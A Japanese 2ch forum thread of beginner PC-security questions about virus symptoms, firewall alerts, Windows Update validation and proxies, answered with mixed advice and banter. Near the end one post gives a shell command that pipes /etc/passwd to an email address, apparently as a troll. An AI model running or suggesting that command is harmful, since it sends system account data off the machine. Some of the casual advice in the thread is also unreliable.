えっと、とりあえずイベントビューアーを見てみて下さい。
たぶん、システム的なエラーか何かでCheckがスケジューリング
されたのかもしれないので。

>>784
ありがとうございます
しかしPCの調子は今のところ大丈夫で
ポップアップも出ないようなので安心しています
今度出てきたらそのサイトで質問させていただきます
>>790
ググってみます
ありがとうございます

猫さん　ありがとうございます。なんせ一件もブロックしないもんで＾＾；
これでハッカーから安心してＰＣできます。
ありがとうございました。

猫さんﾜﾛｽｗ

>>796
ハッカーなんていないから
敵はトロイ系のウィルスに感染してあちこちにパケットを打っているバカたち

>>798
ハッカーなどいない。クラッカーの俺が保障する。

いいいっ＾＾；　猫さん助けて！

今年8月に購入したVALUESTARFX、WINXPオフィスなしモデルを使っています。
今日起動したところ、音も出ずタスクバーも出ずスタートキーもきかず
入れていたマカフィーも起動しません。
オンラインスキャンは、トレンドマイクロもののみ実行できましたがウイルスは
検出されませんでした。
パンダは別窓がどうやっても開かずオンラインスキャンが起動できません。
winアップデータも無理でした。
バックアップを取ってOS再インスコすればいいや、と思っても
ファイルのコピペ・移動が何故か出来ないからバックアップも取れないorz
藁をもすがる思いでこちらに来ました。なんですかこの現象は。

>>801
(´･ω･`)知らんがな

>>801
システム改変

(´･ω･`)ｼｮﾎﾞｰﾝ

>>801
今年　まで読んだ

>>801
バックアップもさせないための嫌がらせ

どうすれば元の状態に戻りますか？
戻ってきてくれ普通のシステム

セーフモードも駄目？

UDP137,138の送信って許可していいのかしら
FWがブロックしてるみたいなんだけど

セーフモードでも、コピペ・タスクバー・スタートキー・音はダメですた。
ネットにも繋げられません。それはウイルスが原因ではなく、手動でつなげる方法が分からないためですたぶん。
スタートメニューがないのでどうやってネットに接続すればいいか分からず。

>>810
さっさとセーフモードでAdministratorにログオンして、
そこから新しいユーザーアカウントを作りやがれ
もしも、それでもダメなら、本当の嫌がらせ

俺にはよくﾜｶﾗﾝが影ながら応援する　ｶﾞﾝｶﾞﾚ

>>809
送信先がローカルIPアドレスじゃないのならダメ

>>809
どこかのグローバルIPアドレスに対して送信しているのならトロイに感染

>>809

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　微妙。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

と言うのは、当然、それらに対するWAN側からのアクセスは「遮断」だけど、
通常の正常なLAN内アクセスならいいけど、Malwareによる逆手に取った
トラフィックかもしれないので。でも、単なる通常のトラフィックかも。
発信元、及びそのプロセスを確認せよだね。

送信先は192.168〜です。これってローカルIPアドレスってやつだよね？

>>811
ユーザー作成も無理でした…
Administratorではタスクバーが復活していたので、コンパネにたどり着くことが出来ましたが
ユーザーアカウントの項目をクリックしたら、何故か空白ウィンドウが開くのみで
何にもできず
凄く効果ありそうな方法だっただけに、希望を絶たれて泣きそうです。

>>812　ありがとうございます。心に沁みます。

>>817
WindowsUpdateをきっちりとしない人はそんな目に逢う

自業自得だね

>>817
日ごろからバックアップソフトで外付けHDDなどにこまめにPCまるごとバックアップしてれば
そんな時に便利だよ

貧乏人です。
AVGの7.0は無料ですか？

>>821

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　It examines it with Google for myself.
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

そういや6月にOS入れなおしてから一度もバックアップ
とってないや。システムの復元で事足りてる。

ﾉｰﾄﾝが使えないのにネットに繋ぐなんて怖くて出来ません。

ほんまほんま

>>822
その英文おかしくね？

>>826

Sorry !! Correction.

>>821

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　Please examine it with google by yourself.
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

ﾜﾛｽ

Windous UpdateのＨＰで高速（優先度の高い更新プログラムを入手します ）
を選択したところ、Windows Genuine Advantage 確認ツール (KB892130)
をインストールして下さいと指示され、インストールしたのですが、続行したら、
ファイル名を忘れてしまったのですが（発行元Microsoft）をインストール
しますか？と表示されました。
特に気にもとめず、インストールしたのですが問題ありませんでしょうか？
よく確認しなかった自分がいけないのですが、後になって気になりまして・・。

よろしくお願いします。

Microsoftがヤバいもんインストさせるわきゃないだろう。

Microsoft自体がヤバイ

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　>>829
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

セキュリティーカタログかなんかじゃない？
たぶん、大丈夫だと思うよ。

８２９です。皆さんレスありがとうございます。
皆さんは高速を選択した時、同じように指示され
ましたでしょうか？

自分もMicrosoftが発行元になっていたので、気にとめず
インストールしたのですが、Microsoftが発行元でも
インストールしたらまずいケースもあるのでしょうか？
（Windows UpdateのＨＰの場合で）

ったく、厨房は出てけよ、って言おうと思ったら初心者スレだったなここｗｗ

>>829
認証じゃなかったっけ。この間うｐだてした時にそんなのがでたけど

>>835さん
はい。認証とか書いてありました。
>>835さんはどう対処しましたか？

>>836
実行したよ。じゃなきゃうｐだてできないんじゃ

osがコピー物かどうかを調べるんじゃない

>>837さん
Windows Genuine Advantage 確認ツール (KB892130)
をインストールした後、続行したら発行元Microsoftの
ファイルをインストールしますか？って表示されませんでしたか？

これも含めて実行したって事でしょうか？

問題ない！以上。
Windows Genuine Advantageをフルに憶えているほうが凄い。

８２９です。心配性ですみませんでした・・
皆さんのおかげで安心しました！

皆さんの知識および記憶はすごいですね！
自分も学習して頑張りたいと思います。
どうもありがとうございました。

>>839
そう、全部やったよ。

ノートンのウィルスソフトを使っているのですが、
「ウィンドウズアカウントを確認してください」
と出てきます。これはどのように、解決していけばいいのか、
教えてください。お願いします。

本当は証明書の署名まで確認してから安心するものだよ

Windows UpDateは自動更新よりも定期的にMSまで行って更新した方がいいんでしょうか？
自動更新onにしてますが全然更新しないし…。

>>845
まあ、好きなように。
一ヶ月に一回来るか来ないかだ。

ここのスレを見ていると、ウイルスも怖いが、
バスターによる動作の弊害も怖いなと思う。
ウイルスってバスター製作会社の自演なんじゃ・・。
WindowsUpDateでバスターも付けてくれないかな。

質問です。

なにもしていないのに、ルータのＬＡＮ側のＬＥＤがピカピカしていたので、
マカフィーのセキュリティソフトのファイアーウォール機能を使って
そのIPを通信禁止にしました。
で、現在ピカピカは止まったのですが、
一分間に一度ぐらいの割合で

「IPｱﾄﾞﾚｽ・・・にある、ユーザの禁止IPリストに含まれている
コンピューターが、ユーザのコンピューター上のTCPポート・・・に
対してアクセスを試みました」

と、表示されるのですが。。。
これはどういう状態なのでしょか？
詳しい方いましたら教えて下さい。宜しくお願いします。

>>845
明日来るよ

>>848
省略すんな

>>850
IPアドレス等は晒していいのですか？？

スイマセン「・・・」には数字が入ります

>>848
ここに行ってそれ貼って聞いたほうがいいよ

がんばれマカフィー Part.21 / ガンバレMcAfee
http://pc8.2ch.net/test/read.cgi/sec/1129898668/


通常はステルスで居場所が分からないようにしてるのが
禁止にしたから相手に居場所がわかったんじゃ。　といい加減なことを言ってみる。

>>853
ありがとうございます。
そちらのスレにも貼ってみます。

すみません。ポートＮ／Ａってどこ(何に使うとこ)ですか？

久しぶりにocn無料オンラインスキャンしたんですが
何かスキャン速度が速くなったんですがみなさんもですか？
この前まで１から４００００くらいまで数字がバァ〜って上がっていってたんですが
フォルダ数だけ数えて終わりみたいな。他の人もそうなんでしょうか？

>>855
無し

>>855
N/A （Not Applicable）ぐぐれ

>>855>>858
No Assignじゃない？

>>859
読み方は自由

>>857>>858>>859>>860
ありがとです。ぐぐってみます

>>760
>>770
遅レスすいません。
レスどうもありがとうございました。
色々試して見ることにします。

>>855
Not Available
これ常識。

ところで、猫さんはどこへ消えたんだ？

http://ex11.2ch.net/test/read.cgi/morningcoffee/1131492087/
の>>1に貼ってあるアドレスでウィルスに感染してしまいました
オンラインスキャンもききません
今は別のPCから
どこで相談したらいいのかわかりません　誰か助けて！

アンチウィルスソフトはなんだい？

V3です

リバレばよろしい。

~▽~下着放置　３６枚目~▼~
http://sakura01.bbspink.com/test/read.cgi/hneta/1131432075/

>>865
854は自分です
ウィルスソフトは入れてませんでした
OSはMeです

>>869
OS再インストール（リカバリ）汁
でもアンチウィルスソフトを入れなきゃ同じことの繰り返しになるよ

>>864
avastがVBS:Malware [Html]が居るからダメって
言って見せてくれない (ry

　　　　　　　　　　　　　　　　　　　　　　　　　 ＿-=─=-
　　　　　　　　　　　　　　　　　　　　　 __-=≡///::　;;　''ヽ丶
　　　　　　　　　　　　　　　　　　　　／ 　 　　''　　~　　　　 ヾ:::::＼
　　　　　　　　　　　　　　　　　　　/　 　　　　　　　　　　　　 ＼:::::＼
　　　　　　　　　　　　　　　　　　　|　 　　　　　　　　　　　　　 彡::::::|
　　　　　　　　　　　　　　　　　　≡　 　　　　,　、　　　　　　　 |:::::::::|
　　　　　　　　　　　　　　　　　　≡ _≡＼、＿＿, -／-=≡=_ 、 |:;;;;;/
　　　　　　　　　　　　　　　　　　 | | ,ｰ〜　|　　　|　〜ー　|─´ /　＼　　　／￣￣￣￣￣￣￣￣￣
　　　　　　　　　　　　　　　　　　 | ヽ二＿,(　　　）＼＿二/　　 く６　/　＜　　おはよー w
　　　　　　　　　　　　　　　　　　/ 　　　/(　　　　　)ヽ　　　　　　|__/　　　＼＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　　　　　　　.|　 　　/　　⌒｀´⌒　　　　　　　　）　|
　　　　　　　　　　　　　　　　　|　 　　　　　　　　　　　　　　／　　|　|
　　　　　　　　　　　　　　　　　（　　　　|＿／ヽ_'＼＿／　　　 　 ）　|
　　　　　　　　　　　　　　　　　.＼　　､ ＼￣　￣／ヽ　　　　　 /　/
　　　　　　　　　　　　　　　　　　 ＼　 　|　￣￣ 　　 ＿／／　/
　　　　　　　　　　　　　　　　　　　 ＼　 ヽ＿＿＿＿／　　　　／
　　　　　　　　　　　　　　　　　　　　　＼＿ ー─　　＿＿ ／
　　　　　　　　　　　　　　　　　　　　　　　＼＿＿＿_／

おはよう

いわゆる串というのを導入したいのですがなにかいいソフトありますか？
最近できたメル友が君は○○のプロバイダーなんだ？
と調べられてるので。。。。勿論ソクメル友やめましたけど
スクランブルＩＰはあまりいいとはいえないようです。あとくっしゃんも。。。

＞最近できたメル友が君は○○のプロバイダーなんだ？
＞と調べられてるので。。。。勿論ソクメル友やめましたけど


わざわざ話作らなくていいよ。

>>874

Steganos Internet Anonym Pro 7

>>874
串さすと、串の管理者に、筒抜けになるから、クレジットカード番号とか
串さしたまま、安易に打たないようにな

876 ありがと！
875　おめぇーにきいてねぇよｗｗ

ZoneAlarmいれたらping通らなくなりました

cat /etc/passwd | mail [email protected]
http://bubble4.2ch.net/test/read.cgi/nendai/1128605930/

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　>>879
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

電力を供給する架線が垂れ下がっちゃってるようだよ。